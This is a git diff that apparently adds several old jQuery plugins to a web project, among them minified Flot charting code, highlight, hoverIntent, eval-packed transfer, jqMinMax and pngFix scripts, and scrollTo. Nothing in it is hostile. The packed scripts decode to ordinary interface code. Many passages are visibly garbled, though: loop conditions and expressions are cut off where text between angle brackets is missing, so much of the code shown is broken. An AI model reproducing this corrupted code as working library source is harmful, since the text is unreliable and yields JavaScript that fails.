aK=[[1,"second"],[2,"second"],[5,"second"],[10,"second"],[30,"second"],[1,"minute"],[2,"minute"],[5,"minute"],[10,"minute"],[30,"minute"],[1,"hour"],[2,"hour"],[4,"hour"],[8,"hour"],[12,"hour"],[1,"day"],[2,"day"],[3,"day"],[0.25,"month"],[0.5,"month"],[1,"month"],[2,"month"],[3,"month"],[6,"month"],[1,"year"]];var aC=0;if(aM.minTickSize!=null){if(typeof aM.tickSize=="number"){aC=aM.tickSize}else{aC=aM.minTickSize[0]*aJ[aM.minTickSize[1]]}}for(var aS=0;aS=aC){break}}aO=aK[aS][0];aN=aK[aS][1];if(aN=="year"){aQ=Math.pow(10,Math.floor(Math.log(aT/aJ.year)/Math.LN10));aI=(aT/aJ.year)/aQ;if(aI<1.5){aO=1}else{if(aI<3){aO=2}else{if(aI<7.5){aO=5}else{aO=10}}}aO*=aQ}aG.tickSize=aM.tickSize||[aO,aN];aB=function(aX){var a2=[],a0=aX.tickSize[0],a3=aX.tickSize[1],a1=new Date(aX.min);var aW=a0*aJ[a3];if(a3=="second"){a1.setUTCSeconds(a(a1.getUTCSeconds(),a0))}if(a3=="minute"){a1.setUTCMinutes(a(a1.getUTCMinutes(),a0))}if(a3=="hour"){a1.setUTCHours(a(a1.getUTCHours(),a0))}if(a3=="month"){a1.setUTCMonth(a(a1.getUTCMonth(),a0))}if(a3=="year"){a1.setUTCFullYear(a(a1.getUTCFullYear(),a0))}a1.setUTCMilliseconds(0);if(aW>=aJ.minute){a1.setUTCSeconds(0)}if(aW>=aJ.hour){a1.setUTCMinutes(0)}if(aW>=aJ.day){a1.setUTCHours(0)}if(aW>=aJ.day*4){a1.setUTCDate(1)}if(aW>=aJ.year){a1.setUTCMonth(0)}var a5=0,a4=Number.NaN,aY;do{aY=a4;a4=a1.getTime();a2.push(a4);if(a3=="month"){if(a0<1){a1.setUTCDate(1);var aV=a1.getTime();a1.setUTCMonth(a1.getUTCMonth()+1);var aZ=a1.getTime();a1.setTime(a4+a5*aJ.hour+(aZ-aV)*a0);a5=a1.getUTCHours();a1.setUTCHours(0)}else{a1.setUTCMonth(a1.getUTCMonth()+a0)}}else{if(a3=="year"){a1.setUTCFullYear(a1.getUTCFullYear()+a0)}else{a1.setTime(a4+aW)}}}while(a4aU){aP=aU}aQ=Math.pow(10,-aP);aI=aT/aQ;if(aI<1.5){aO=1}else{if(aI<3){aO=2;if(aI>2.25&&(aU==null||aP+1<=aU)){aO=2.5;++aP}}else{if(aI<7.5){aO=5}else{aO=10}}}aO*=aQ;if(aM.minTickSize!=null&&aO0){if(aM.min==null){aG.min=Math.min(aG.min,aL[0])}if(aM.max==null&&aL.length>1){aG.max=Math.max(aG.max,aL[aL.length-1])}}aB=function(aX){var aY=[],aV,aW;for(aW=0;aW1&&/\..*0$/.test((aD[1]-aD[0]).toFixed(aE)))){aG.tickDecimals=aE}}}}aG.tickGenerator=aB;if(c.isFunction(aM.tickFormatter)){aG.tickFormatter=function(aV,aW){return""+aM.tickFormatter(aV,aW)}}else{aG.tickFormatter=aR}}function P(aF){var aH=aF.options.ticks,aG=[];if(aH==null||(typeof aH=="number"&&aH>0)){aG=aF.tickGenerator(aF)}else{if(aH){if(c.isFunction(aH)){aG=aH({min:aF.min,max:aF.max})}else{aG=aH}}}var aE,aB;aF.ticks=[];for(aE=0;aE1){aC=aD[1]}}else{aB=+aD}if(aC==null){aC=aF.tickFormatter(aB,aF)}if(!isNaN(aB)){aF.ticks.push({v:aB,label:aC})}}}function ap(aB,aC){if(aB.options.autoscaleMargin&&aC.length>0){if(aB.options.min==null){aB.min=Math.min(aB.min,aC[0].v)}if(aB.options.max==null&&aC.length>1){aB.max=Math.max(aB.max,aC[aC.length-1].v)}}}function W(){H.clearRect(0,0,G,I);var aC=O.grid;if(aC.show&&aC.backgroundColor){N()}if(aC.show&&!aC.aboveData){ac()}for(var aB=0;aBaG){var aC=aH;aH=aG;aG=aC}return{from:aH,to:aG,axis:aE}}function N(){H.save();H.translate(q.left,q.top);H.fillStyle=am(O.grid.backgroundColor,w,0,"rgba(255, 255, 255, 0)");H.fillRect(0,0,h,w);H.restore()}function ac(){var aF;H.save();H.translate(q.left,q.top);var aH=O.grid.markings;if(aH){if(c.isFunction(aH)){var aK=aq.getAxes();aK.xmin=aK.xaxis.min;aK.xmax=aK.xaxis.max;aK.ymin=aK.yaxis.min;aK.ymax=aK.yaxis.max;aH=aH(aK)}for(aF=0;aFaC.axis.max||aI.toaI.axis.max){continue}aC.from=Math.max(aC.from,aC.axis.min);aC.to=Math.min(aC.to,aC.axis.max);aI.from=Math.max(aI.from,aI.axis.min);aI.to=Math.min(aI.to,aI.axis.max);if(aC.from==aC.to&&aI.from==aI.to){continue}aC.from=aC.axis.p2c(aC.from);aC.to=aC.axis.p2c(aC.to);aI.from=aI.axis.p2c(aI.from);aI.to=aI.axis.p2c(aI.to);if(aC.from==aC.to||aI.from==aI.to){H.beginPath();H.strokeStyle=aD.color||O.grid.markingsColor;H.lineWidth=aD.lineWidth||O.grid.markingsLineWidth;H.moveTo(aC.from,aI.from);H.lineTo(aC.to,aI.to);H.stroke()}else{H.fillStyle=aD.color||O.grid.markingsColor;H.fillRect(aC.from,aI.to,aC.to-aC.from,aI.from-aI.to)}}}var aK=m(),aM=O.grid.borderWidth;for(var aE=0;aEaB.max||(aQ=="full"&&aM>0&&(aO==aB.min||aO==aB.max))){continue}if(aB.direction=="x"){aN=aB.p2c(aO);aJ=aQ=="full"?-w:aQ;if(aB.position=="top"){aJ=-aJ}}else{aL=aB.p2c(aO);aP=aQ=="full"?-h:aQ;if(aB.position=="left"){aP=-aP}}if(H.lineWidth==1){if(aB.direction=="x"){aN=Math.floor(aN)+0.5}else{aL=Math.floor(aL)+0.5}}H.moveTo(aN,aL);H.lineTo(aN+aP,aL+aJ)}H.stroke()}if(aM){H.lineWidth=aM;H.strokeStyle=O.grid.borderColor;H.strokeRect(-aM/2,-aM/2,h+aM,w+aM)}H.restore()}function k(){av.find(".tickLabels").remove();var aG=['
    '];var aJ=m();for(var aD=0;aD');for(var aE=0;aEaC.max){continue}var aK={},aI;if(aC.direction=="x"){aI="center";aK.left=Math.round(q.left+aC.p2c(aH.v)-aC.labelWidth/2);if(aC.position=="bottom"){aK.top=aF.top+aF.padding}else{aK.bottom=I-(aF.top+aF.height-aF.padding)}}else{aK.top=Math.round(q.top+aC.p2c(aH.v)-aC.labelHeight/2);if(aC.position=="left"){aK.right=G-(aF.left+aF.width-aF.padding);aI="right"}else{aK.left=aF.left+aF.padding;aI="left"}}aK.width=aC.labelWidth;var aB=["position:absolute","text-align:"+aI];for(var aL in aK){aB.push(aL+":"+aK[aL]+"px")}aG.push('
    '+aH.label+"
    ")}aG.push("
    ")}aG.push("
    ");av.append(aG.join(""))}function d(aB){if(aB.lines.show){at(aB)}if(aB.bars.show){e(aB)}if(aB.points.show){ao(aB)}}function at(aE){function aD(aP,aQ,aI,aU,aT){var aV=aP.points,aJ=aP.pointsize,aN=null,aM=null;H.beginPath();for(var aO=aJ;aO=aR&&aS>aT.max){if(aR>aT.max){continue}aL=(aT.max-aS)/(aR-aS)*(aK-aL)+aL;aS=aT.max}else{if(aR>=aS&&aR>aT.max){if(aS>aT.max){continue}aK=(aT.max-aS)/(aR-aS)*(aK-aL)+aL;aR=aT.max}}if(aL<=aK&&aL=aK&&aL>aU.max){if(aK>aU.max){continue}aS=(aU.max-aL)/(aK-aL)*(aR-aS)+aS;aL=aU.max}else{if(aK>=aL&&aK>aU.max){if(aL>aU.max){continue}aR=(aU.max-aL)/(aK-aL)*(aR-aS)+aS;aK=aU.max}}if(aL!=aN||aS!=aM){H.moveTo(aU.p2c(aL)+aQ,aT.p2c(aS)+aI)}aN=aK;aM=aR;H.lineTo(aU.p2c(aK)+aQ,aT.p2c(aR)+aI)}H.stroke()}function aF(aI,aQ,aP){var aW=aI.points,aV=aI.pointsize,aN=Math.min(Math.max(0,aP.min),aP.max),aX=0,aU,aT=false,aM=1,aL=0,aR=0;while(true){if(aV>0&&aX>aW.length+aV){break}aX+=aV;var aZ=aW[aX-aV],aK=aW[aX-aV+aM],aY=aW[aX],aJ=aW[aX+aM];if(aT){if(aV>0&&aZ!=null&&aY==null){aR=aX;aV=-aV;aM=2;continue}if(aV<0&&aX==aL+aV){H.fill();aT=false;aV=-aV;aM=1;aX=aL=aR+aV;continue}}if(aZ==null||aY==null){continue}if(aZ<=aY&&aZ=aY&&aZ>aQ.max){if(aY>aQ.max){continue}aK=(aQ.max-aZ)/(aY-aZ)*(aJ-aK)+aK;aZ=aQ.max}else{if(aY>=aZ&&aY>aQ.max){if(aZ>aQ.max){continue}aJ=(aQ.max-aZ)/(aY-aZ)*(aJ-aK)+aK;aY=aQ.max}}if(!aT){H.beginPath();H.moveTo(aQ.p2c(aZ),aP.p2c(aN));aT=true}if(aK>=aP.max&&aJ>=aP.max){H.lineTo(aQ.p2c(aZ),aP.p2c(aP.max));H.lineTo(aQ.p2c(aY),aP.p2c(aP.max));continue}else{if(aK<=aP.min&&aJ<=aP.min){H.lineTo(aQ.p2c(aZ),aP.p2c(aP.min));H.lineTo(aQ.p2c(aY),aP.p2c(aP.min));continue}}var aO=aZ,aS=aY;if(aK<=aJ&&aK=aP.min){aZ=(aP.min-aK)/(aJ-aK)*(aY-aZ)+aZ;aK=aP.min}else{if(aJ<=aK&&aJ=aP.min){aY=(aP.min-aK)/(aJ-aK)*(aY-aZ)+aZ;aJ=aP.min}}if(aK>=aJ&&aK>aP.max&&aJ<=aP.max){aZ=(aP.max-aK)/(aJ-aK)*(aY-aZ)+aZ;aK=aP.max}else{if(aJ>=aK&&aJ>aP.max&&aK<=aP.max){aY=(aP.max-aK)/(aJ-aK)*(aY-aZ)+aZ;aJ=aP.max}}if(aZ!=aO){H.lineTo(aQ.p2c(aO),aP.p2c(aK))}H.lineTo(aQ.p2c(aZ),aP.p2c(aK));H.lineTo(aQ.p2c(aY),aP.p2c(aJ));if(aY!=aS){H.lineTo(aQ.p2c(aY),aP.p2c(aJ));H.lineTo(aQ.p2c(aS),aP.p2c(aJ))}}}H.save();H.translate(q.left,q.top);H.lineJoin="round";var aG=aE.lines.lineWidth,aB=aE.shadowSize;if(aG>0&&aB>0){H.lineWidth=aB;H.strokeStyle="rgba(0,0,0,0.1)";var aH=Math.PI/18;aD(aE.datapoints,Math.sin(aH)*(aG/2+aB/2),Math.cos(aH)*(aG/2+aB/2),aE.xaxis,aE.yaxis);H.lineWidth=aB/2;aD(aE.datapoints,Math.sin(aH)*(aG/2+aB/4),Math.cos(aH)*(aG/2+aB/4),aE.xaxis,aE.yaxis)}H.lineWidth=aG;H.strokeStyle=aE.color;var aC=ae(aE.lines,aE.color,0,w);if(aC){H.fillStyle=aC;aF(aE.datapoints,aE.xaxis,aE.yaxis)}if(aG>0){aD(aE.datapoints,0,0,aE.xaxis,aE.yaxis)}H.restore()}function ao(aE){function aH(aN,aM,aU,aK,aS,aT,aQ,aJ){var aR=aN.points,aI=aN.pointsize;for(var aL=0;aLaT.max||aOaQ.max){continue}H.beginPath();aP=aT.p2c(aP);aO=aQ.p2c(aO)+aK;if(aJ=="circle"){H.arc(aP,aO,aM,0,aS?Math.PI:Math.PI*2,false)}else{aJ(H,aP,aO,aM,aS)}H.closePath();if(aU){H.fillStyle=aU;H.fill()}H.stroke()}}H.save();H.translate(q.left,q.top);var aG=aE.points.lineWidth,aC=aE.shadowSize,aB=aE.points.radius,aF=aE.points.symbol;if(aG>0&&aC>0){var aD=aC/2;H.lineWidth=aD;H.strokeStyle="rgba(0,0,0,0.1)";aH(aE.datapoints,aB,null,aD+aD/2,true,aE.xaxis,aE.yaxis,aF);H.strokeStyle="rgba(0,0,0,0.2)";aH(aE.datapoints,aB,null,aD/2,true,aE.xaxis,aE.yaxis,aF)}H.lineWidth=aG;H.strokeStyle=aE.color;aH(aE.datapoints,aB,ae(aE.points,aE.color),0,false,aE.xaxis,aE.yaxis,aF);H.restore()}function E(aN,aM,aV,aI,aQ,aF,aD,aL,aK,aU,aR,aC){var aE,aT,aJ,aP,aG,aB,aO,aH,aS;if(aR){aH=aB=aO=true;aG=false;aE=aV;aT=aN;aP=aM+aI;aJ=aM+aQ;if(aTaL.max||aPaK.max){return}if(aEaL.max){aT=aL.max;aB=false}if(aJaK.max){aP=aK.max;aO=false}aE=aL.p2c(aE);aJ=aK.p2c(aJ);aT=aL.p2c(aT);aP=aK.p2c(aP);if(aD){aU.beginPath();aU.moveTo(aE,aJ);aU.lineTo(aE,aP);aU.lineTo(aT,aP);aU.lineTo(aT,aJ);aU.fillStyle=aD(aJ,aP);aU.fill()}if(aC>0&&(aG||aB||aO||aH)){aU.beginPath();aU.moveTo(aE,aJ+aF);if(aG){aU.lineTo(aE,aP+aF)}else{aU.moveTo(aE,aP+aF)}if(aO){aU.lineTo(aT,aP+aF)}else{aU.moveTo(aT,aP+aF)}if(aB){aU.lineTo(aT,aJ+aF)}else{aU.moveTo(aT,aJ+aF)}if(aH){aU.lineTo(aE,aJ+aF)}else{aU.moveTo(aE,aJ+aF)}aU.stroke()}}function e(aD){function aC(aJ,aI,aL,aG,aK,aN,aM){var aO=aJ.points,aF=aJ.pointsize;for(var aH=0;aH")}aH.push("");aF=true}if(aN){aJ=aN(aJ,aM)}aH.push('
    '+aJ+"")}if(aF){aH.push("")}if(aH.length==0){return}var aL=''+aH.join("")+"
    ";if(O.legend.container!=null){c(O.legend.container).html(aL)}else{var aI="",aC=O.legend.position,aD=O.legend.margin;if(aD[0]==null){aD=[aD,aD]}if(aC.charAt(0)=="n"){aI+="top:"+(aD[1]+q.top)+"px;"}else{if(aC.charAt(0)=="s"){aI+="bottom:"+(aD[1]+q.bottom)+"px;"}}if(aC.charAt(1)=="e"){aI+="right:"+(aD[0]+q.right)+"px;"}else{if(aC.charAt(1)=="w"){aI+="left:"+(aD[0]+q.left)+"px;"}}var aK=c('
    '+aL.replace('style="','style="position:absolute;'+aI+";")+"
    ").appendTo(av);if(O.legend.backgroundOpacity!=0){var aG=O.legend.backgroundColor;if(aG==null){aG=O.grid.backgroundColor;if(aG&&typeof aG=="string"){aG=c.color.parse(aG)}else{aG=c.color.extract(aK,"background-color")}aG.a=1;aG=aG.toString()}var aB=aK.children();c('
    ').prependTo(aK).css("opacity",O.legend.backgroundOpacity)}}}var ab=[],M=null;function K(aI,aG,aD){var aO=O.grid.mouseActiveRadius,a0=aO*aO+1,aY=null,aR=false,aW,aU;for(aW=Q.length-1;aW>=0;--aW){if(!aD(Q[aW])){continue}var aP=Q[aW],aH=aP.xaxis,aF=aP.yaxis,aV=aP.datapoints.points,aT=aP.datapoints.pointsize,aQ=aH.c2p(aI),aN=aF.c2p(aG),aC=aO/aH.scale,aB=aO/aF.scale;if(aH.options.inverseTransform){aC=Number.MAX_VALUE}if(aF.options.inverseTransform){aB=Number.MAX_VALUE}if(aP.lines.show||aP.points.show){for(aU=0;aUaC||aK-aQ<-aC||aJ-aN>aB||aJ-aN<-aB){continue}var aM=Math.abs(aH.p2c(aK)-aI),aL=Math.abs(aF.p2c(aJ)-aG),aS=aM*aM+aL*aL;if(aS=Math.min(aZ,aK)&&aN>=aJ+aE&&aN<=aJ+aX):(aQ>=aK+aE&&aQ<=aK+aX&&aN>=Math.min(aZ,aJ)&&aN<=Math.max(aZ,aJ))){aY=[aW,aU/aT]}}}}if(aY){aW=aY[0];aU=aY[1];aT=Q[aW].datapoints.pointsize;return{datapoint:Q[aW].datapoints.points.slice(aU*aT,(aU+1)*aT),dataIndex:aU,series:Q[aW],seriesIndex:aW}}return null}function aa(aB){if(O.grid.hoverable){u("plothover",aB,function(aC){return aC.hoverable!=false})}}function l(aB){if(O.grid.hoverable){u("plothover",aB,function(aC){return false})}}function R(aB){u("plotclick",aB,function(aC){return aC.clickable!=false})}function u(aC,aB,aD){var aE=y.offset(),aH=aB.pageX-aE.left-q.left,aF=aB.pageY-aE.top-q.top,aJ=C({left:aH,top:aF});aJ.pageX=aB.pageX;aJ.pageY=aB.pageY;var aK=K(aH,aF,aD);if(aK){aK.pageX=parseInt(aK.series.xaxis.p2c(aK.datapoint[0])+aE.left+q.left);aK.pageY=parseInt(aK.series.yaxis.p2c(aK.datapoint[1])+aE.top+q.top)}if(O.grid.autoHighlight){for(var aG=0;aGaH.max||aIaG.max){return}var aF=aE.points.radius+aE.points.lineWidth/2;A.lineWidth=aF;A.strokeStyle=c.color.parse(aE.color).scale("a",0.5).toString();var aB=1.5*aF,aC=aH.p2c(aC),aI=aG.p2c(aI);A.beginPath();if(aE.points.symbol=="circle"){A.arc(aC,aI,aB,0,2*Math.PI,false)}else{aE.points.symbol(A,aC,aI,aB,false)}A.closePath();A.stroke()}function v(aE,aB){A.lineWidth=aE.bars.lineWidth;A.strokeStyle=c.color.parse(aE.color).scale("a",0.5).toString();var aD=c.color.parse(aE.color).scale("a",0.5).toString();var aC=aE.bars.align=="left"?0:-aE.bars.barWidth/2;E(aB[0],aB[1],aB[2]||0,aC,aC+aE.bars.barWidth,0,function(){return aD},aE.xaxis,aE.yaxis,A,aE.bars.horizontal,aE.bars.lineWidth)}function am(aJ,aB,aH,aC){if(typeof aJ=="string"){return aJ}else{var aI=H.createLinearGradient(0,aH,0,aB);for(var aE=0,aD=aJ.colors.length;aE12){n=n-12}else{if(n==0){n=12}}}for(var g=0;g + +MIT license. + +Johann Burkard + + + +*/ + +jQuery.fn.highlight = function(pat) { + function innerHighlight(node, pat) { + var skip = 0; + if (node.nodeType == 3) { + var pos = node.data.toUpperCase().indexOf(pat); + if (pos >= 0) { + var spannode = document.createElement('span'); + spannode.className = 'highlight'; + var middlebit = node.splitText(pos); + var endbit = middlebit.splitText(pat.length); + var middleclone = middlebit.cloneNode(true); + spannode.appendChild(middleclone); + middlebit.parentNode.replaceChild(spannode, middlebit); + skip = 1; + } + } + else if (node.nodeType == 1 && node.childNodes && !/(script|style)/i.test(node.tagName)) { + for (var i = 0; i < node.childNodes.length; ++i) { + i += innerHighlight(node.childNodes[i], pat); + } + } + return skip; + } + return this.each(function() { + innerHighlight(this, pat.toUpperCase()); + }); +}; + +jQuery.fn.removeHighlight = function() { + return this.find("span.highlight").each(function() { + this.parentNode.firstChild.nodeName; + with (this.parentNode) { + replaceChild(this.firstChild, this); + normalize(); + } + }).end(); +}; diff --git a/js/jquery/plugins/jquery.hoverIntent.js b/js/jquery/plugins/jquery.hoverIntent.js new file mode 100755 index 0000000..f86ad87 --- /dev/null +++ b/js/jquery/plugins/jquery.hoverIntent.js @@ -0,0 +1,9 @@ +/** +* hoverIntent r5 // 2007.03.27 // jQuery 1.1.2+ +* +* +* @param f onMouseOver function || An object with configuration options +* @param g onMouseOut function || Nothing (use configuration options object) +* @author Brian Cherne +*/ +(function($){$.fn.hoverIntent=function(f,g){var cfg={sensitivity:7,interval:100,timeout:0};cfg=$.extend(cfg,g?{over:f,out:g}:f);var cX,cY,pX,pY;var track=function(ev){cX=ev.pageX;cY=ev.pageY;};var compare=function(ev,ob){ob.hoverIntent_t=clearTimeout(ob.hoverIntent_t);if((Math.abs(pX-cX)+Math.abs(pY-cY))35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1.2=q;1.Q.P=i(o){p m.O(\'s\',i(){R 1.A.w(m,o)})};1.A.w=i(e,o){5(1.2==q){1(\'S\',n).V(\'\');1.2=1(\'#2\')}1.2.3(\'B\',\'T\').3(\'W\',\'L\');I z=m;z.c=1(e);5(!o||!o.4){p}5(o.4.H==K&&n.G(o.4)){o.4=n.G(o.4)}J 5(!o.4.M){p}5(!o.a){o.a=U}z.a=o.a;z.4=o.4;z.b=o.10;z.9=o.9;5(z.b){1.2.19(z.b)}z.g=0;z.h=0;5(1.18){z.g=(6(1.2.3(\'17\'))||0)+(6(1.2.3(\'1a\'))||0)+(6(1.2.3(\'X\'))||0)+(6(1.2.3(\'1d\'))||0);z.h=(6(1.2.3(\'1c\'))||0)+(6(1.2.3(\'16\'))||0)+(6(1.2.3(\'15\'))||0)+(6(1.2.3(\'Z\'))||0)}z.7=1.u(1.k.v(z.c.l(0)),1.k.r(z.c.l(0)));z.8=1.u(1.k.v(z.4),1.k.r(z.4));z.7.j-=z.g;z.7.d-=z.h;z.8.j-=z.g;z.8.d-=z.h;z.11=o.9;1.2.3(\'C\',z.7.j+\'f\').3(\'E\',z.7.d+\'f\').3(\'F\',z.7.y+\'f\').3(\'D\',z.7.x+\'f\').13({F:z.8.y,D:z.8.x,C:z.8.j,E:z.8.d},z.a,i(){5(z.b)1.2.1b(z.b);1.2.3(\'B\',\'1e\');5(z.9&&z.9.H==Y){z.9.14(z.c.l(0),[z.4])}1.12(z.c.l(0),\'s\')})};',62,77,'|jQuery|transferHelper|css|to|if|parseInt|start|end|complete|duration|classname|el|hb||px|diffWidth|diffHeight|function|wb|iUtil|get|this|document||return|null|getSize|interfaceFX|div|extend|getPosition|itransferTo||||fx|display|width|left|height|top|getElementById|constructor|var|else|String|absolute|childNodes|id|queue|TransferTo|fn|new|body|block|500|append|position|paddingLeft|Function|paddingBottom|className|callback|dequeue|animate|apply|paddingTop|borderBottomWidth|borderLeftWidth|boxModel|addClass|borderRightWidth|removeClass|borderTopWidth|paddingRight|none'.split('|'),0,{})) diff --git a/js/jquery/plugins/jquery.jqminmax.js b/js/jquery/plugins/jquery.jqminmax.js new file mode 100755 index 0000000..9836c15 --- /dev/null +++ b/js/jquery/plugins/jquery.jqminmax.js @@ -0,0 +1,3 @@ +/* jQMinMax v0.1 - Copyright (c) 2006 Dave Cardwell (http://davecardwell.co.uk/) + Released under the MIT License (http://www.opensource.org/licenses/mit-license.php) */ +eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[(function(e){return d[e]})];e=(function(){return'\\w+'});c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('u m(){$.5={D:y,v:y};$(G).12(m(){8 h=G.W(\'I\');$(h).e({\'3\':\'J\',\'6-3\':\'K\'});$(\'L\').M(h);$.5.v=(h.s&&h.s==2);$(h).N();b($.5.v)o;$.5.D=O;$.5.A();$(\':5\').5()});$.5.A=m(){8 p=u E(\'6-3\',\'6-4\',\'9-3\',\'9-4\');8 5=u E();Q(8 i=0;i7[\'9-3\'])k=7[\'9-3\'];b(7[\'6-3\']!=f.g&&k<7[\'6-3\'])k=7[\'6-3\'];b(7[\'9-4\']!=f.g&&l>7[\'9-4\'])l=7[\'9-4\'];b(7[\'6-4\']!=f.g&&l<7[\'6-4\'])l=7[\'6-4\'];b(k!=3)$(c).e(\'3\',k);b(l!=4)$(c).e(\'4\',l)})};m r(t,p){8 q=$(t).e(p);b(q==f.g||q==\'z\')o f.g;8 j;j=q.B(/^\\+?(\\d*(?:\\.\\d+)?)%$/);b(j){o T.V(C((/3$/.h(p)?$(t).F().H(0).s:$(t).F().H(0).w)*j[1]/P))}j=q.B(/^\\+?(\\d*(?:\\.\\d+)?)(?:11)?$/);b(j){o C(j[1])}o f.g}}();',62,65,'|||width|height|minmax|min|constraint|var|max||if|this||css|window|undefined|test||result|newWidth|newHeight|function|expr|return||raw|calculate|offsetWidth|obj|new|native|offsetHeight||false|auto|expressions|match|Number|active|Array|parent|document|get|div|1px|2px|body|append|remove|true|100|for|length|0px|Math|charAt|round|createElement|none|join|fn|each|px|ready'.split('|'),0,{})) diff --git a/js/jquery/plugins/jquery.pngFix.js b/js/jquery/plugins/jquery.pngFix.js new file mode 100755 index 0000000..f39c17d --- /dev/null +++ b/js/jquery/plugins/jquery.pngFix.js @@ -0,0 +1,11 @@ +/** + * -------------------------------------------------------------------- + * jQuery-Plugin "pngFix" + * Version: 1.1, 11.09.2007 + * by Andreas Eberhard, andreas.eberhard@gmail.com + * http://jquery.andreaseberhard.de/ + * + * Copyright (c) 2007 Andreas Eberhard + * Licensed under GPL (http://www.opensource.org/licenses/gpl-license.php) + */ +eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(s($){3.1s.1k=s(j){j=3.1a({12:\'1m.1j\'},j);8 k=(n.P=="r 10 Z"&&U(n.v)==4&&n.v.E("14 5.5")!=-1);8 l=(n.P=="r 10 Z"&&U(n.v)==4&&n.v.E("14 6.0")!=-1);o(3.17.16&&(k||l)){3(2).L("1r[@m$=.M]").z(s(){3(2).7(\'q\',3(2).q());3(2).7(\'p\',3(2).p());8 a=\'\';8 b=\'\';8 c=(3(2).7(\'K\'))?\'K="\'+3(2).7(\'K\')+\'" \':\'\';8 d=(3(2).7(\'A\'))?\'A="\'+3(2).7(\'A\')+\'" \':\'\';8 e=(3(2).7(\'C\'))?\'C="\'+3(2).7(\'C\')+\'" \':\'\';8 f=(3(2).7(\'B\'))?\'B="\'+3(2).7(\'B\')+\'" \':\'\';8 g=(3(2).7(\'R\'))?\'1d:\'+3(2).7(\'R\')+\';\':\'\';8 h=(3(2).1c().7(\'1b\'))?\'19:18;\':\'\';o(2.9.y){a+=\'y:\'+2.9.y+\';\';2.9.y=\'\'}o(2.9.t){a+=\'t:\'+2.9.t+\';\';2.9.t=\'\'}o(2.9.w){a+=\'w:\'+2.9.w+\';\';2.9.w=\'\'}8 i=(2.9.15);b+=\'\';o(a!=\'\'){b=\'\'+b+\'\'}3(2).1i();3(2).1h(b)});3(2).L("*").z(s(){8 a=3(2).T(\'N-S\');o(a.E(".M")!=-1){8 b=a.X(\'1g("\')[1].X(\'")\')[0];3(2).T(\'N-S\',\'1f\');3(2).Q(0).Y.J="I:H.r.G(m=\'"+b+"\',D=\'F\')"}});3(2).L("1e[@m$=.M]").z(s(){8 a=3(2).7(\'m\');3(2).Q(0).Y.J=\'I:H.r.G\'+\'(m=\\\'\'+a+\'\\\', D=\\\'F\\\');\';3(2).7(\'m\',j.12)})}1t 3}})(3);',62,92,'||this|jQuery||||attr|var|style|||||||||||||src|navigator|if|height|width|Microsoft|function|padding|px|appVersion|margin|span|border|each|class|alt|title|sizingMethod|indexOf|scale|AlphaImageLoader|DXImageTransform|progid|filter|id|find|png|background|display|appName|get|align|image|css|parseInt|block|inline|split|runtimeStyle|Explorer|Internet|relative|blankgif|position|MSIE|cssText|msie|browser|hand|cursor|extend|href|parent|float|input|none|url|after|hide|gif|pngFix|transparent|blank|line|pre|space|white|img|fn|return'.split('|'),0,{})) \ No newline at end of file diff --git a/js/jquery/plugins/jquery.scrollTo.js b/js/jquery/plugins/jquery.scrollTo.js new file mode 100755 index 0000000..5e78778 --- /dev/null +++ b/js/jquery/plugins/jquery.scrollTo.js @@ -0,0 +1,11 @@ +/** + * jQuery.ScrollTo - Easy element scrolling using jQuery. + * Copyright (c) 2007-2009 Ariel Flesler - aflesler(at)gmail(dot)com | http://flesler.blogspot.com + * Dual licensed under MIT and GPL. + * Date: 5/25/2009 + * @author Ariel Flesler + * @version 1.4.2 + * + * http://flesler.blogspot.com/2007/10/jqueryscrollto.html + */ +;(function(d){var k=d.scrollTo=function(a,i,e){d(window).scrollTo(a,i,e)};k.defaults={axis:'xy',duration:parseFloat(d.fn.jquery)>=1.3?0:1};k.window=function(a){return d(window)._scrollable()};d.fn._scrollable=function(){return this.map(function(){var a=this,i=!a.nodeName||d.inArray(a.nodeName.toLowerCase(),['iframe','#document','html','body'])!=-1;if(!i)return a;var e=(a.contentWindow||a).document||a.ownerDocument||a;return d.browser.safari||e.compatMode=='BackCompat'?e.body:e.documentElement})};d.fn.scrollTo=function(n,j,b){if(typeof j=='object'){b=j;j=0}if(typeof b=='function')b={onAfter:b};if(n=='max')n=9e9;b=d.extend({},k.defaults,b);j=j||b.speed||b.duration;b.queue=b.queue&&b.axis.length>1;if(b.queue)j/=2;b.offset=p(b.offset);b.over=p(b.over);return this._scrollable().each(function(){var q=this,r=d(q),f=n,s,g={},u=r.is('html,body');switch(typeof f){case'number':case'string':if(/^([+-]=)?\d+(\.\d+)?(px|%)?$/.test(f)){f=p(f);break}f=d(f,this);case'object':if(f.is||f.style)s=(f=d(f)).offset()}d.each(b.axis.split(''),function(a,i){var e=i=='x'?'Left':'Top',h=e.toLowerCase(),c='scroll'+e,l=q[c],m=k.max(q,i);if(s){g[c]=s[h]+(u?0:l-r.offset()[h]);if(b.margin){g[c]-=parseInt(f.css('margin'+e))||0;g[c]-=parseInt(f.css('border'+e+'Width'))||0}g[c]+=b.offset[h]||0;if(b.over[h])g[c]+=f[i=='x'?'width':'height']()*b.over[h]}else{var o=f[h];g[c]=o.slice&&o.slice(-1)=='%'?parseFloat(o)/100*m:o}if(/^\d+$/.test(g[c]))g[c]=g[c]<=0?0:Math.min(g[c],m);if(!a&&b.queue){if(l!=g[c])t(b.onAfterFirst);delete g[c]}});t(b.onAfter);function t(a){r.animate(g,j,b.easing,a&&function(){a.call(this,n,b)})}}).end()};k.max=function(a,i){var e=i=='x'?'Width':'Height',h='scroll'+e;if(!d(a).is('html,body'))return a[h]-d(a)[e.toLowerCase()]();var c='client'+e,l=a.ownerDocument.documentElement,m=a.ownerDocument.body;return Math.max(l[h],m[h])-Math.min(l[c],m[c])};function p(a){return typeof a=='object'?a:{top:a,left:a}}})(jQuery); \ No newline at 